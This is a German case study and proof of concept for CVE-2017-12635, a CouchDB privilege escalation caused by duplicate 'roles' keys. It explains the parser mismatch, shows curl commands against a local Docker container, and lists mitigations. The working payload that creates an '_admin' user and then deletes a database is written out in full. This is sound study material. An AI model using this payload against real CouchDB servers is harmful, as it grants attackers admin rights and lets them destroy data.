
Fallstudie und POC zu CVE-2017-12635: Apache CouchDB 1.7.0 / 2.x < 2.1.1 - Remote Privilege Escalation
Fallstudie und PoC von CVE-2017-12635 (Apache CouchDB 1.7.0 / 2.x < 2.1.1) - Remote Privilege Escalation
Apache CouchDB ist eine dokumentenorientierte NoSQL-Datenbank, implementiert in Erlang.
CouchDB verwendet mehrere Formate und Protokolle, um seine Daten zu speichern, zu übertragen und zu verarbeiten. Es verwendet JSON zum Speichern von Daten, JavaScript als Abfragesprache mit MapReduce und HTTP für eine API.
CouchDB kann sowohl als Einzelknoten-Datenbank als auch als Cluster verwendet werden.
Aufgrund der Diskrepanz zwischen dem auf Erlang basierenden JSON-Parser und dem auf JavaScript basierenden JSON-Parser gab es eine Schwachstelle in CouchDB vor 1.7.0 und 2.x vor 2.1.1, die es Nicht-Admin-Benutzern ermöglichte, ihre Privilegien zu erweitern, indem sie _users-Dokumente mit doppelten roles-Schlüsseln übermittelten, die für die Zugriffskontrolle in den Datenbanken verwendet werden, einschließlich des Sonderfalls der Rolle _admin, die administrative Benutzer kennzeichnet.
Zusammenfassend ermöglicht die Schwachstelle Nicht-Admin-Benutzern, sich selbst Admin-Rechte zu verleihen.
Standardmäßig erlaubt CouchDB, dass jede Anfrage von jedem gestellt werden kann. Jeder hat die Berechtigung, alles zu tun.
CouchDB kennt das Konzept eines Admin-Benutzers (z. B. eines Administrators, Superusers oder Root), der in einer CouchDB-Installation alles tun darf. Standardmäßig ist jeder ein Admin. Wenn Ihnen das nicht gefällt, können Sie spezifische Admin-Benutzer mit einem Benutzernamen und Passwort als Anmeldedaten erstellen.
CouchDB definiert außerdem eine Reihe von Anfragen, die nur Admin-Benutzer ausführen dürfen. Weitere Informationen finden Sie in der offiziellen Dokumentation.
CouchDB verfügt über eine spezielle Authentifizierungsdatenbank, die alle registrierten Benutzer als JSON-Dokumente speichert.
CouchDB verwendet eine spezielle Datenbank (standardmäßig _users genannt), um Informationen über registrierte Benutzer zu speichern. Dies ist eine Systemdatenbank – das bedeutet, dass sie zwar die allgemeine Datenbank-API teilt, aber einige besondere sicherheitsrelevante Einschränkungen gelten und Vereinbarungen über die Dokumentstruktur verwendet werden.
Nur Administratoren dürfen beliebige Dokumente in der _users-Datenbank GET, PUT oder DELETE.
Benutzer dürfen nur auf Dokumente zugreifen (GET /_users/org.couchdb.user:<username>) oder sie ändern (PUT /_users/org.couchdb.user:<username>), die ihnen gehören.
Jeder CouchDB-Benutzer wird im Dokumentformat gespeichert. Diese Dokumente enthalten mehrere Pflichtfelder, die CouchDB für den korrekten Authentifizierungsprozess verwendet. Wir interessieren uns für das Feld roles.
Das Feld roles ist eine Liste von Benutzerrollen. CouchDB bietet keine integrierten Rollen, daher können Sie je nach Bedarf eigene definieren. Sie können dort jedoch keine Systemrollen wie _admin festlegen. Außerdem dürfen nur Administratoren Benutzern Rollen zuweisen – standardmäßig haben alle Benutzer keine Rollen.
CouchDB ist in Erlang geschrieben, erlaubt Benutzern jedoch, Dokumentvalidierungsskripte in JavaScript zu spezifizieren. Diese Skripte werden automatisch ausgewertet, wenn ein Dokument erstellt oder aktualisiert wird. Sie starten in einem neuen Prozess und erhalten JSON-serialisierte Dokumente von der Erlang-Seite.
CouchDB sendet Funktionen und Dokumente an einen JavaScript-Interpreter. Dieser Mechanismus ermöglicht es Benutzern, Dokumentvalidierungsfunktionen in JavaScript zu schreiben. Die Funktion validate_doc_update wird für jedes erstellte oder aktualisierte Dokument ausgeführt. Wenn die Validierungsfunktion eine Ausnahme auslöst, wird die Aktualisierung verweigert; wenn nicht, werden die Aktualisierungen akzeptiert.
CouchDB verwendet die Funktion validate_doc_update, um ungültige oder nicht autorisierte Dokumentaktualisierungen zu verhindern.
function(newDoc, oldDoc, userCtx, secObj) {...}
Argumente:
newDoc – Neue Version des Dokuments, das gespeichert wirdoldDoc – Vorherige Version des Dokuments, das bereits gespeichert istuserCtx – BenutzerkontextobjektsrcObj – SicherheitsobjektDie Funktion erhält das neue Dokument aus der Aktualisierungsanfrage, das aktuell in der Datenbank gespeicherte Dokument, ein User Context Object, das Informationen über den Benutzer enthält, der das Dokument schreibt (falls vorhanden), und ein Security Object mit Listen von Datenbanksicherheitsrollen.
Der intern von CouchDB verwendete JSON-Parser ist jiffy und der in Validierungsskripten von JavaScript verwendete ist JSON.
Das Problem ist, dass es eine Diskrepanz zwischen JSON und jiffy beim Umgang mit doppelten Schlüsseln gibt.
Für einen bestimmten Schlüssel speichert der Erlang-Parser beide Werte, der JavaScript-Parser jedoch nur den letzten.
Zum Beispiel führt das Parsen von {"name":"John", "name":"Jane"} mit beiden Parsern zu:
jiffy: {[{<<"name">>,<<"John">>},{<<"name">>,<<"Jane">>}]}JSON: {name: "Jane"}Die Getter-Funktion für die interne Darstellung der Daten in CouchDB gibt nur den ersten Wert zurück.
Wir können die gesamte relevante Eingabevalidierung umgehen und einen Admin-Benutzer erstellen, indem wir einen Benutzer mit doppeltem roles-Schlüssel anlegen. So sieht das Dokument des neuen Benutzers aus: {..., "roles": ["_admin"], "roles": [], ...} .
Die Getter-Funktion für die interne Darstellung der Daten in CouchDB gibt nur den ersten Wert zurück. Infolgedessen sehen wir uns im Erlang-Bereich als Inhaber der Rolle _admin, während wir im JavaScript-Bereich keine besonderen Berechtigungen zu haben scheinen.
Für den Angreifer glücklicherweise findet fast die gesamte wichtige Logik bezüglich Authentifizierung und Autorisierung, abgesehen vom Eingabevalidierungsskript, im Erlang-Teil von CouchDB statt.
Für diese Demo verwenden wir ein Docker-Image aus dem offiziellen Repository couchdb. Wir benötigen einen HTTP-Client für API-Aufrufe und verwenden dafür cURL.
Für diese Demo kann jedes Betriebssystem verwendet werden.
Voraussetzungen:
Die folgenden Befehle müssen ausgeführt werden, um die Schwachstelle auszunutzen:
Erstellen Sie einen Container basierend auf dem offiziellen couchdb-Image
docker container run -d --name couchdb-sandbox -p 5984:5984 couchdb:1.6.1
Wir haben das Tag 1.6.1 gewählt, weil die Version 1.6.1 von CouchDB verwundbar ist.
Stellen Sie sicher, dass die CouchDB-Instanz gestartet ist und funktioniert
curl -X GET http://localhost:5984
Abfrage: Alle Datenbanken in der Instanz
curl -X GET http://localhost:5984/_all_dbs
Abfrage: Eine neue Datenbank mit dem Namen records erstellen
curl -X PUT http://localhost:5984/records
Abfrage: Sicherstellen, dass die Datenbank records erstellt wurde
curl -X GET http://localhost:5984/_all_dbs
Wir können alle Datensätze aus der CouchDB-Instanz abrufen, hinzufügen und sogar entfernen, da eine Standardinstallation von CouchDB allen verbindenden Benutzern Zugriff auf Admin-Ebene gewährt. Diese Konfiguration ist als Admin Party bekannt. Wir können die Party einfach beenden, indem wir das erste Admin-Konto erstellen.
Abfrage: Ein Admin-Konto mit den Anmeldedaten admin:admin erstellen
Die Demo hat bewiesen, dass jeder Benutzer ein Konto mit Admin-Rolle erstellen und auf der Datenbank so agieren kann, als wäre er ein Admin.
Wir können zwei Arten von CouchDB-Instanzen unterscheiden:
Standardmäßig kann eine CouchDB-Instanz von anonymen Benutzern angefragt werden. Um sicherzustellen, dass alle erlaubten Anfragen nur von authentifizierten Benutzern stammen, können wir require_valid_user in der Datenbankkonfigurationsdatei auf true setzen. Dadurch werden keine Anfragen von anonymen Benutzern zugelassen; jeder muss authentifiziert sein.
Dies sind einige Maßnahmen, um zu verhindern, dass böswillige Benutzer die Schwachstelle ausnutzen. Dies gilt für alle CouchDB-1.x- und 2.x-Benutzer, die nicht auf 2.1.1 oder höher bzw. 1.7.1 oder höher aktualisiert sind.
Öffentliche CouchDB-Instanzen:
require_valid_user aktiviert haben und allen Ihren Benutzern Datenbank-Admin- und Server-Shell-Zugriff zutrauen: Es gibt kein Problem.Interne CouchDB-Instanzen:
require_valid_user aktiviert haben und allen Ihren Benutzern Datenbank-Admin- und Server-Shell-Zugriff zutrauen: Es gibt kein Problem.require_valid_user deaktiviert haben und allen Ihren Benutzern Datenbank-Admin- und Server-Shell-Zugriff zutrauen: Aktivieren Sie require_valid_user.API: Eine Anwendungsprogrammierschnittstelle (API) ist eine Schnittstelle oder ein Kommunikationsprotokoll zwischen verschiedenen Teilen eines Computerprogramms, das die Implementierung und Wartung von Software vereinfachen soll.
Erlang: Erlang ist eine universelle, nebenläufige, funktionale Programmiersprache und ein Laufzeitsystem mit Garbage Collection.
HTTP: Das Hypertext Transfer Protocol (HTTP) ist ein Anwendungsprotokoll für verteilte, kollaborative Hypermedia-Informationssysteme. HTTP ist die Grundlage der Datenkommunikation für das World Wide Web, bei der Hypertextdokumente Hyperlinks zu anderen Ressourcen enthalten, auf die der Benutzer leicht zugreifen kann.
JSON: JavaScript Object Notation (JSON) ist ein offenes Standard-Dateiformat oder Datenaustauschformat, das menschenlesbaren Text verwendet, um Datenobjekte zu übertragen, die aus Attribut-Wert-Paaren und Array-Datentypen (oder jedem anderen serialisierbaren Wert) bestehen. Es ist ein sehr verbreitetes Datenformat mit vielfältigen Anwendungen, beispielsweise als Ersatz für XML in AJAX-Systemen.
MapReduce: MapReduce ist ein Programmiermodell und eine zugehörige Implementierung zur Verarbeitung und Erzeugung großer Datenmengen mit einem parallelen, verteilten Algorithmus auf einem Cluster.
NoSQL: Eine NoSQL-Datenbank bietet einen Mechanismus zum Speichern und Abrufen von Daten, die auf andere Weise modelliert werden als die tabellarischen Beziehungen in relationalen Datenbanken.
PoC: Proof of Concept (PoC) ist die Umsetzung einer bestimmten Methode oder Idee, um deren Machbarkeit zu demonstrieren, oder eine prinzipielle Demonstration mit dem Ziel zu verifizieren, dass ein Konzept oder eine Theorie praktisches Potenzial hat.
Privilege Escalation: Privilege Escalation (auch Privilegieneskalation oder Privilegienausweitung) ist die Ausnutzung eines Fehlers, Designfehlers oder Konfigurationsversehens in einem Betriebssystem oder einer Softwareanwendung, um erweiterten Zugriff auf Ressourcen zu erlangen, die normalerweise vor einer Anwendung oder einem Benutzer geschützt sind.
curl -X PUT http://localhost:5984/_config/admins/admin -d '"admin"'
Abfrage: Eine neue Datenbank mit dem Namen new_records erstellen
curl -X PUT http://localhost:5984/new_records
Hoppla! Wir können keine neue Datenbank mehr erstellen, da die Admin Party beendet wurde, als das erste Admin-Konto erstellt wurde.
Abfrage: Eine neue Datenbank mit dem Namen new_recors mit Admin-Authentifizierung erstellen
curl -X PUT http://admin:admin@localhost:5984/new_records
Abfrage: Ein neues Dokument in der _users-Datenbank erstellen
curl -X PUT http://localhost:5984/_users/org.couchdb.user:guest \
-H "Accept: application/json" \
-H "Content-Type: application/json" \
-d '{"name": "guest", "password": "guest", "roles": ["_admin"], "roles": [], "type": "user"}'
Hier können wir ein neues Dokument in der _users-Datenbank erstellen, jedoch mit Einschränkungen bei seinen Argumenten. Wir können die Einschränkungen umgehen, indem wir das Feld roles wie zuvor erläutert duplizieren.
Abfrage: Die Datenbank mit dem Namen new_records löschen
curl -X DELETE http://localhost:5984/new_records
Hoppla! Wir können es nicht, weil wir keine Admin-Rolle haben.
Abfrage: Die Datenbank mit dem Namen new_records mit Gast-Authentifizierung löschen
curl -X DELETE http://guest:guest@localhost:5984/new_records
Bingo! Wir haben die Datenbank gelöscht, obwohl das Gastkonto als normaler Benutzer erstellt wurde.